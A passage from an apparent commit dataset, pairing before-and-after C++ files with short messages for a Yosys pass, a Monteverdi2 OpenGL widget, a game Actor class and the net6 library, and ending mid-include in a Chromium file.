-auto-top\");\n\t\t\trun(\"design -save preopt\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"[command]\");\n\t\t\telse\n\t\t\t\trun(command);\n\t\t\trun(\"design -stash postopt\");\n\t\t}\n\n\t\tif (check_label(\"prepare\")) {\n\t\t\trun(\"design -copy-from preopt -as gold A:top\");\n\t\t\trun(\"design -copy-from postopt -as gate A:top\");\n\t\t}\n\n\t\tif ((!techmap_opts.empty() || help_mode) && check_label(\"techmap\", \"(only with -map)\")) {\n\t\t\tstring opts;\n\t\t\tif (help_mode)\n\t\t\t\topts = \" -map <filename> ...\";\n\t\t\telse\n\t\t\t\topts = techmap_opts;\n\t\t\trun(\"techmap -wb -D EQUIV -autoproc\" + opts);\n\t\t}\n\n\t\tif (check_label(\"prove\")) {\n\t\t\tif (multiclock || help_mode)\n\t\t\t\trun(\"clk2fflogic\", \"(only with -multiclock)\");\n\t\t\tif (async2sync || help_mode)\n\t\t\t\trun(\"async2sync\", \"(only with -async2sync)\");\n\t\t\trun(\"equiv_make gold gate equiv\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"equiv_induct [-undef] equiv\");\n\t\t\telse if (undef)\n\t\t\t\trun(\"equiv_induct -undef equiv\");\n\t\t\telse\n\t\t\t\trun(\"equiv_induct equiv\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"equiv_status [-assert] equiv\");\n\t\t\telse if (assert)\n\t\t\t\trun(\"equiv_status -assert equiv\");\n\t\t\telse\n\t\t\t\trun(\"equiv_status equiv\");\n\t\t}\n\n\t\tif (check_label(\"restore\")) {\n\t\t\trun(\"design -load preopt\");\n\t\t}\n\t}\n} EquivOptPass;\n\nPRIVATE_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Monteverdi2\n Language: C++\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See Copyright.txt for details.\n\n Monteverdi2 is distributed under the CeCILL licence version 2. See\n Licence_CeCILL_V2-en.txt or\n http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"mvdGLImageWidget.h\"\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n\/\/#include <QKeyEvent>\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n#include \"itkImageRegionConstIteratorWithIndex.h\"\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"mvdAbstractImageModel.h\"\n#include \"mvdApplication.h\"\n#include \"mvdDatasetModel.h\"\n\nnamespace mvd\n{\n\/*\n TRANSLATOR mvd::GLImageWidget\n\n Necessary for lupdate to be aware of C++ namespaces.\n\n Context comment for translator.\n*\/\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n QWidget* parent,\n\t\t const QGLWidget* shareWidget,\n\t\t Qt::WindowFlags flags ) :\n QGLWidget( parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setFocusPolicy(Qt::StrongFocus);\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n QGLContext* context,\n\t\t QWidget* parent,\n\t\t const QGLWidget* shareWidget,\n\t\t Qt::WindowFlags flags ) :\n QGLWidget( context, parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setFocusPolicy(Qt::StrongFocus);\n\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n const QGLFormat& format,\n QWidget* parent,\n const QGLWidget* shareWidget,\n Qt::WindowFlags flags ) :\n QGLWidget( format, parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setFocusPolicy(Qt::StrongFocus);\n\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::~GLImageWidget()\n{\n \/\/ m_ImageViewManipulator (deleted as a child of a QObjet parent).\n \/\/ m_ImageModelRenderer (deleted as a child of a QObjet parent).\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::Initialize( AbstractViewManipulator* manipulator,\n\t AbstractModelRenderer* renderer )\n{ \n assert( manipulator!=NULL );\n assert( renderer!=NULL );\n\n m_ImageViewManipulator = manipulator;\n m_ImageViewManipulator->setParent(this);\n\n m_ImageModelRenderer = renderer;\n m_ImageModelRenderer->setParent(this);\n\n QObject::connect(\n this, SIGNAL( movingMouse() ),\n m_ImageModelRenderer, SLOT( onMovingEvent() )\n );\n\n QObject::connect(\n this, SIGNAL( releasingMouse() ),\n m_ImageModelRenderer, SLOT(onReleasedMouse())\n );\n\n \/\/ Connect this model region changed.\n QObject::connect(\n this,\n SIGNAL( ModelImageRegionChanged( const ImageRegionType& , const SpacingType&) ),\n \/\/ to:\n m_ImageViewManipulator,\n SLOT( OnModelImageRegionChanged( const ImageRegionType&, const SpacingType& ) )\n );\n\n \/\/ Connect the renderer origin (of extent) changed to the manipulator\n QObject::connect(\n m_ImageModelRenderer,\n SIGNAL( ViewportOriginChanged( const IndexType& ) ),\n \/\/ to:\n m_ImageViewManipulator,\n SLOT( OnViewportOriginChanged( const IndexType&) )\n );\n\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::initializeGL()\n{\n glClearColor(0.0, 0.0, 0.0, 0.0);\n glShadeModel(GL_FLAT);\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::resizeGL(int width, int height)\n{\n \/\/ TODO: Replace (GLint) casts with safer casts or no cast (if there is no compile-time warning).\n glViewport(0, 0, (GLint)width, (GLint)height);\n\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n glOrtho(0, (GLint)width, 0, (GLint)height, -1, 1);\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::paintGL()\n{\n \/\/ Clear back-buffer(s) before rendering sub-components.\n glClear( GL_COLOR_BUFFER_BIT );\n\n \/\/ Get the region to draw from the ImageViewManipulator navigation\n \/\/ context.\n const ImageRegionType region(\n m_ImageViewManipulator->GetViewportImageRegion() );\n\n \/\/ Get the zoom \n const double isotropicZoom = m_ImageViewManipulator->GetIsotropicZoom();\n\n \/\/ Setup rendering context with image-model and redering information.\n AbstractModelRenderer::RenderingContext context(\n m_ImageModel,\n region, isotropicZoom, \n width(), height(),\n m_ImageViewManipulator->HasZoomChanged()\n );\n\n \/\/ use the model renderer to paint the requested region of the image.\n m_ImageModelRenderer->paintGL( context );\n}\n\n\/*******************************************************************************\/\n\/\/ Delegate the event to the ImageViewManipulator\nvoid\nGLImageWidget\n::mousePressEvent( QMouseEvent* event )\n{\n QCursor dragCursor;\n dragCursor.setShape(Qt::ClosedHandCursor) ;\n this->setCursor(dragCursor);\n\n \/\/\n m_ImageViewManipulator->mousePressEvent(event);\n this->update();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::mouseMoveEvent( QMouseEvent* event )\n{\n \/\/ if a button is clicked == drag\n if ( event->buttons() & Qt::LeftButton || \n event->buttons() & Qt::RightButton ||\n event->buttons() & Qt::MidButton ||\n event->buttons() & Qt::XButton1 ||\n event->buttons() & Qt::XButton2 )\n {\n \/\/ emit a signal movingMouse to update the renderer status\n emit movingMouse();\n\n \/\/ drag detected\n m_ImageViewManipulator->mouseMoveEvent(event);\n\n \/\/ repaint the buffer\n this->update();\n \n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n }\n else \/\/ just mouse cursor moving\n {\n \/\/ no mouse button is grabbed here -> no drag detected\n m_ImageViewManipulator->PropagatePointUnderCursorCoordinates(event->pos());\n }\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::mouseReleaseEvent( QMouseEvent* event )\n{\n QCursor stdCursor;\n stdCursor.setShape(Qt::ArrowCursor) ;\n this->setCursor(stdCursor);\n\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n \/\/ call paintGL\n this->update();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::wheelEvent( QWheelEvent* event )\n{\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n m_ImageViewManipulator->wheelEvent(event);\n\n \/\/ repaint the buffer\n this->update();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::resizeEvent( QResizeEvent* event )\n{\n \/\/ First, call superclass implementation\n QGLWidget::resizeEvent(event);\n\n m_ImageViewManipulator->resizeEvent(event);\n\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::keyPressEvent( QKeyEvent* event )\n{\n m_ImageViewManipulator->keyPressEvent(event);\n this->update();\n \n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\n\/* SLOTS *\/\n\/******************************************************************************\/\nvoid\nGLImageWidget\n::OnSpacingChanged(const SpacingType& spacing)\n{\n m_ImageViewManipulator->SetSpacing(spacing);\n}\n\/*******************************************************************************\/\n\n}\n<commit_msg>ENH: enable receiving mouse move events even if no button is pressed<commit_after>\/*=========================================================================\n\n Program: Monteverdi2\n Language: C++\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See Copyright.txt for details.\n\n Monteverdi2 is distributed under the CeCILL licence version 2. See\n Licence_CeCILL_V2-en.txt or\n http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"mvdGLImageWidget.h\"\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n\/\/#include <QKeyEvent>\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n#include \"itkImageRegionConstIteratorWithIndex.h\"\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"mvdAbstractImageModel.h\"\n#include \"mvdApplication.h\"\n#include \"mvdDatasetModel.h\"\n\nnamespace mvd\n{\n\/*\n TRANSLATOR mvd::GLImageWidget\n\n Necessary for lupdate to be aware of C++ namespaces.\n\n Context comment for translator.\n*\/\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n QWidget* parent,\n\t\t const QGLWidget* shareWidget,\n\t\t Qt::WindowFlags flags ) :\n QGLWidget( parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setMouseTracking(true);\n setFocusPolicy(Qt::StrongFocus);\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n QGLContext* context,\n\t\t QWidget* parent,\n\t\t const QGLWidget* shareWidget,\n\t\t Qt::WindowFlags flags ) :\n QGLWidget( context, parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setMouseTracking(true);\n setFocusPolicy(Qt::StrongFocus);\n\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::GLImageWidget( AbstractViewManipulator * manipulator,\n AbstractModelRenderer * renderer,\n const QGLFormat& format,\n QWidget* parent,\n const QGLWidget* shareWidget,\n Qt::WindowFlags flags ) :\n QGLWidget( format, parent, shareWidget, flags ),\n m_ImageViewManipulator( NULL ),\n m_ImageModelRenderer( NULL ),\n m_ImageModel( NULL )\n{\n \/\/ Set focus policy so that the widget gets the focus if it is clicked\n setMouseTracking(true);\n setFocusPolicy(Qt::StrongFocus);\n\n Initialize(manipulator, renderer);\n}\n\n\/*******************************************************************************\/\nGLImageWidget\n::~GLImageWidget()\n{\n \/\/ m_ImageViewManipulator (deleted as a child of a QObjet parent).\n \/\/ m_ImageModelRenderer (deleted as a child of a QObjet parent).\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::Initialize( AbstractViewManipulator* manipulator,\n\t AbstractModelRenderer* renderer )\n{ \n assert( manipulator!=NULL );\n assert( renderer!=NULL );\n\n m_ImageViewManipulator = manipulator;\n m_ImageViewManipulator->setParent(this);\n\n m_ImageModelRenderer = renderer;\n m_ImageModelRenderer->setParent(this);\n\n QObject::connect(\n this, SIGNAL( movingMouse() ),\n m_ImageModelRenderer, SLOT( onMovingEvent() )\n );\n\n QObject::connect(\n this, SIGNAL( releasingMouse() ),\n m_ImageModelRenderer, SLOT(onReleasedMouse())\n );\n\n \/\/ Connect this model region changed.\n QObject::connect(\n this,\n SIGNAL( ModelImageRegionChanged( const ImageRegionType& , const SpacingType&) ),\n \/\/ to:\n m_ImageViewManipulator,\n SLOT( OnModelImageRegionChanged( const ImageRegionType&, const SpacingType& ) )\n );\n\n \/\/ Connect the renderer origin (of extent) changed to the manipulator\n QObject::connect(\n m_ImageModelRenderer,\n SIGNAL( ViewportOriginChanged( const IndexType& ) ),\n \/\/ to:\n m_ImageViewManipulator,\n SLOT( OnViewportOriginChanged( const IndexType&) )\n );\n\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::initializeGL()\n{\n glClearColor(0.0, 0.0, 0.0, 0.0);\n glShadeModel(GL_FLAT);\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::resizeGL(int width, int height)\n{\n \/\/ TODO: Replace (GLint) casts with safer casts or no cast (if there is no compile-time warning).\n glViewport(0, 0, (GLint)width, (GLint)height);\n\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n glOrtho(0, (GLint)width, 0, (GLint)height, -1, 1);\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::paintGL()\n{\n \/\/ Clear back-buffer(s) before rendering sub-components.\n glClear( GL_COLOR_BUFFER_BIT );\n\n \/\/ Get the region to draw from the ImageViewManipulator navigation\n \/\/ context.\n const ImageRegionType region(\n m_ImageViewManipulator->GetViewportImageRegion() );\n\n \/\/ Get the zoom \n const double isotropicZoom = m_ImageViewManipulator->GetIsotropicZoom();\n\n \/\/ Setup rendering context with image-model and redering information.\n AbstractModelRenderer::RenderingContext context(\n m_ImageModel,\n region, isotropicZoom, \n width(), height(),\n m_ImageViewManipulator->HasZoomChanged()\n );\n\n \/\/ use the model renderer to paint the requested region of the image.\n m_ImageModelRenderer->paintGL( context );\n}\n\n\/*******************************************************************************\/\n\/\/ Delegate the event to the ImageViewManipulator\nvoid\nGLImageWidget\n::mousePressEvent( QMouseEvent* event )\n{\n QCursor dragCursor;\n dragCursor.setShape(Qt::ClosedHandCursor) ;\n this->setCursor(dragCursor);\n\n \/\/\n m_ImageViewManipulator->mousePressEvent(event);\n this->update();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::mouseMoveEvent( QMouseEvent* event )\n{\n \/\/ if a button is clicked == drag\n if ( event->buttons() & Qt::LeftButton || \n event->buttons() & Qt::RightButton ||\n event->buttons() & Qt::MidButton ||\n event->buttons() & Qt::XButton1 ||\n event->buttons() & Qt::XButton2 )\n {\n \/\/ emit a signal movingMouse to update the renderer status\n emit movingMouse();\n\n \/\/ drag detected\n m_ImageViewManipulator->mouseMoveEvent(event);\n\n \/\/ repaint the buffer\n this->update();\n \n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n }\n else \/\/ just mouse cursor moving\n {\n \/\/ no mouse button is grabbed here -> no drag detected\n m_ImageViewManipulator->PropagatePointUnderCursorCoordinates(event->pos());\n }\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::mouseReleaseEvent( QMouseEvent* event )\n{\n QCursor stdCursor;\n stdCursor.setShape(Qt::ArrowCursor) ;\n this->setCursor(stdCursor);\n\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n \/\/ call paintGL\n this->update();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::wheelEvent( QWheelEvent* event )\n{\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n m_ImageViewManipulator->wheelEvent(event);\n\n \/\/ repaint the buffer\n this->update();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::resizeEvent( QResizeEvent* event )\n{\n \/\/ First, call superclass implementation\n QGLWidget::resizeEvent(event);\n\n m_ImageViewManipulator->resizeEvent(event);\n\n \/\/ emit a signal releasingMouse to update the renderer status\n emit releasingMouse();\n\n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\nvoid\nGLImageWidget\n::keyPressEvent( QKeyEvent* event )\n{\n m_ImageViewManipulator->keyPressEvent(event);\n this->update();\n \n \/\/ emited to update to force the ql widget (if any) to update\n emit CentralWidgetUpdated();\n}\n\n\/*******************************************************************************\/\n\/* SLOTS *\/\n\/******************************************************************************\/\nvoid\nGLImageWidget\n::OnSpacingChanged(const SpacingType& spacing)\n{\n m_ImageViewManipulator->SetSpacing(spacing);\n}\n\/*******************************************************************************\/\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Actor.h\"\n\n#include \"DrawUtils.h\"\n#include \"Math\/ofDraw.h\"\n\nusing namespace std;\nusing namespace math;\n\nvoid Actor::updateAnimationFrames()\n{\n\tif (frames.size() > 1) {\n\t\tif (ofGetElapsedTimef() > timeSpent + framerate) {\n\t\t\ttimeSpent = ofGetElapsedTimef();\n\t\t\tframe = (frame + 1) % frames.size();\n\t\t}\n\t} else {\n\t\tframe = 0;\n\t}\n}\n\nActor::Actor(float _width, float _height, std::initializer_list<unsigned> _frames, float _framerate)\n\t: frames(_frames), frame(0), framerate(_framerate), timeSpent(0), centered(true), color(Vector3D(255, 255, 255))\n{\n\tsize = Vector2D(\n\t\t_width > 0 ? _width : image.getWidth(), \n\t\t_height > 0 ? _height : image.getHeight());\n\n\tif (frames.empty()) \n\t\tframes.push_back(0);\n\tframes.resize(frames.size());\n\n\tsetAngle(0.0f);\n\tsetPosition(Vector2D());\n\tsetScale(Vector2D(1, 1));\n\n\tbox.position.set(0, 0);\n\tbox.size = getSizeScaled();\n}\n\nvoid Actor::init(const std::string fileName)\n{\n\timage.load(fileName);\n\tbitmask = Bitmask(image, box,);\n}\n\nVector2D Actor::getSizeScaled() const\n{\n\treturn Vector2D(localScale.x * size.x, localScale.y * size.y);\n}\n\nmath::AABB Actor::getBox() const\n{\n\treturn box;\n}\n\nvoid Actor::setPosition(float x, float y)\n{\n\tthis->position.set(x, y);\n}\n\nvoid Actor::setPosition(Vector2D position)\n{\n\tthis->position = position;\n}\n\nvoid Actor::setAngle(float angle)\n{\n\tthis->angle = angle;\n}\n\nvoid Actor::setScale(math::Vector2D scale)\n{\n\tthis->localScale.set(scale);\n}\n\nvoid Actor::setColor(Vector3D color)\n{\n\tthis->color = color;\n}\n\nvoid Actor::translate(float x, float y)\n{\n\ttranslate(Vector2D(x, y));\n}\n\nvoid Actor::translate(Vector2D translation)\n{\n\tsetPosition(position + translation);\n}\n\nvoid Actor::rotate(float angle)\n{\n\tsetAngle(this->angle + angle);\n}\n\nvoid Actor::scale(float ratio)\n{\n\tsetScale(localScale + localScale * ratio);\n}\n\nvoid Actor::scale(Vector2D ratio)\n{\n\tsetScale(Vector2D(localScale.x * ratio.x, localScale.y * ratio.y));\n}\n\nvoid Actor::update()\n{\n\t\/\/Update animation\n\tupdateAnimationFrames();\n\n\tbox.transform(position, angle, getSizeScaled(), centered);\n\n\t\/\/Uncomment for an automatic AABB rotation example in AABBRotationExample\n\t\/\/rotate(toRadians(30 * ofGetLastFrameTime()));\n}\n\nvoid Actor::draw() const\n{\n\tauto world = \n\t\tlh::newAffineScale(localScale.x, localScale.y) * \n\t\tlh::newAffineRotation(angle) * \n\t\tlh::newAffineTranslation(position);\n\n\tcg::setColor(color);\n\tlh::draw(lh::flipY(world), image, size, frame);\n\tcg::setColor(Vector3D(255, 0, 0));\n\tbox.draw(make_shared<ofAABB_DrawHelper>());\n}\n\nvoid Actor::drawIntersection(const Actor& other) const\n{\n\tif (!box.intersects(other.box)) return;\n\tauto iBox = box.intersection(other.box);\n\n\tcg::setColor(Vector3D(0, 0, 255));\n\tiBox.draw(make_shared<ofAABB_DrawHelper>());\n}\n\nbool Actor::testCollision(const Actor& other) const\n{\n\t\/\/Broad Phase\n\tif (!box.intersects(other.box)) return false;\n\n\t\/\/If you want to ignore Narrow Phase, uncomment\n\t\/\/return true;\n\t\n\t\/\/Narrow Phase\n\treturn bitmask.testCollision(other.bitmask);\n}\n\nActor::~Actor(void)\n{\n}\n<commit_msg>Bitmask algorithm first version complete<commit_after>#include \"Actor.h\"\n\n#include \"DrawUtils.h\"\n#include \"Math\/ofDraw.h\"\n\nusing namespace std;\nusing namespace math;\n\nvoid Actor::updateAnimationFrames()\n{\n\tif (frames.size() > 1) {\n\t\tif (ofGetElapsedTimef() > timeSpent + framerate) {\n\t\t\ttimeSpent = ofGetElapsedTimef();\n\t\t\tframe = (frame + 1) % frames.size();\n\t\t}\n\t} else {\n\t\tframe = 0;\n\t}\n}\n\nActor::Actor(float _width, float _height, std::initializer_list<unsigned> _frames, float _framerate)\n\t: frames(_frames), frame(0), framerate(_framerate), timeSpent(0), centered(true), color(Vector3D(255, 255, 255))\n{\n\tsize = Vector2D(\n\t\t_width > 0 ? _width : image.getWidth(), \n\t\t_height > 0 ? _height : image.getHeight());\n\n\tif (frames.empty()) \n\t\tframes.push_back(0);\n\tframes.resize(frames.size());\n\n\tsetAngle(0.0f);\n\tsetPosition(Vector2D());\n\tsetScale(Vector2D(1, 1));\n\n\tbox.position.set(0, 0);\n\tbox.size = getSizeScaled();\n}\n\nvoid Actor::init(const std::string fileName)\n{\n\timage.load(fileName);\n\tbitmask = Bitmask(image, box);\n}\n\nVector2D Actor::getSizeScaled() const\n{\n\treturn Vector2D(localScale.x * size.x, localScale.y * size.y);\n}\n\nmath::AABB Actor::getBox() const\n{\n\treturn box;\n}\n\nvoid Actor::setPosition(float x, float y)\n{\n\tthis->position.set(x, y);\n}\n\nvoid Actor::setPosition(Vector2D position)\n{\n\tthis->position = position;\n}\n\nvoid Actor::setAngle(float angle)\n{\n\tthis->angle = angle;\n}\n\nvoid Actor::setScale(math::Vector2D scale)\n{\n\tthis->localScale.set(scale);\n}\n\nvoid Actor::setColor(Vector3D color)\n{\n\tthis->color = color;\n}\n\nvoid Actor::translate(float x, float y)\n{\n\ttranslate(Vector2D(x, y));\n}\n\nvoid Actor::translate(Vector2D translation)\n{\n\tsetPosition(position + translation);\n}\n\nvoid Actor::rotate(float angle)\n{\n\tsetAngle(this->angle + angle);\n}\n\nvoid Actor::scale(float ratio)\n{\n\tsetScale(localScale + localScale * ratio);\n}\n\nvoid Actor::scale(Vector2D ratio)\n{\n\tsetScale(Vector2D(localScale.x * ratio.x, localScale.y * ratio.y));\n}\n\nvoid Actor::update()\n{\n\t\/\/Update animation\n\tupdateAnimationFrames();\n\n\tbox.transform(position, angle, getSizeScaled(), centered);\n\n\t\/\/Uncomment for an automatic AABB rotation example in AABBRotationExample\n\t\/\/rotate(toRadians(30 * ofGetLastFrameTime()));\n}\n\nvoid Actor::draw() const\n{\n\tauto world = \n\t\tlh::newAffineScale(localScale.x, localScale.y) * \n\t\tlh::newAffineRotation(angle) * \n\t\tlh::newAffineTranslation(position);\n\n\tcg::setColor(color);\n\tlh::draw(lh::flipY(world), image, size, frame);\n\tcg::setColor(Vector3D(255, 0, 0));\n\tbox.draw(make_shared<ofAABB_DrawHelper>());\n}\n\nvoid Actor::drawIntersection(const Actor& other) const\n{\n\tif (!box.intersects(other.box)) return;\n\tauto iBox = box.intersection(other.box);\n\n\tcg::setColor(Vector3D(0, 0, 255));\n\tiBox.draw(make_shared<ofAABB_DrawHelper>());\n}\n\nbool Actor::testCollision(const Actor& other) const\n{\n\t\/\/Broad Phase\n\tif (!box.intersects(other.box)) return false;\n\n\t\/\/If you want to ignore Narrow Phase, uncomment\n\t\/\/return true;\n\t\n\t\/\/Narrow Phase\n\treturn bitmask.testCollision(other.bitmask);\n}\n\nActor::~Actor(void)\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/* net6 - Library providing IPv4\/IPv6 network access\n * Copyright (C) 2005 Armin Burgmeier \/ 0x539 dev group\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include <stdexcept>\n\n#include \"config.hpp\"\n#include \"common.hpp\"\n#include \"gettext_package.hpp\"\n\n#ifdef ENABLE_NLS\nnamespace\n{\n\tnet6::gettext_package* local_package = NULL;\n}\n#endif\n\nvoid net6::init_gettext(gettext_package& package)\n{\n#ifdef ENABLE_NLS\n\tlocal_package = &package;\n#endif\n}\n\nconst char* net6::_(const char* msgid)\n{\n#ifdef ENABLE_NLS\n\tif(local_package == NULL)\n\t{\n\t\tthrow std::logic_error(\n\t\t\t\"net6::_:\\n\"\n\t\t\t\"init_gettext() has not yet been called. Most \"\n\t\t\t\"This certainly means that you have\\n\"\n\t\t\t\"not created a net6::main object.\"\n\t\t);\n\t}\n\n\treturn local_package->gettext(msgid);\n#else\n\treturn msgid;\n#endif\n}\n\n<commit_msg>[project @ Removed a superfluous word]<commit_after>\/* net6 - Library providing IPv4\/IPv6 network access\n * Copyright (C) 2005 Armin Burgmeier \/ 0x539 dev group\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include <stdexcept>\n\n#include \"config.hpp\"\n#include \"common.hpp\"\n#include \"gettext_package.hpp\"\n\n#ifdef ENABLE_NLS\nnamespace\n{\n\tnet6::gettext_package* local_package = NULL;\n}\n#endif\n\nvoid net6::init_gettext(gettext_package& package)\n{\n#ifdef ENABLE_NLS\n\tlocal_package = &package;\n#endif\n}\n\nconst char* net6::_(const char* msgid)\n{\n#ifdef ENABLE_NLS\n\tif(local_package == NULL)\n\t{\n\t\tthrow std::logic_error(\n\t\t\t\"net6::_:\\n\"\n\t\t\t\"init_gettext() has not yet been called. \"\n\t\t\t\"This certainly means that you have\\n\"\n\t\t\t\"not created a net6::main object.\"\n\t\t);\n\t}\n\n\treturn local_package->gettext(msgid);\n#else\n\treturn msgid;\n#endif\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/chrome_paths.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/sys_info.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths_internal.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\n#if defined(OS_MACOSX)\n#include 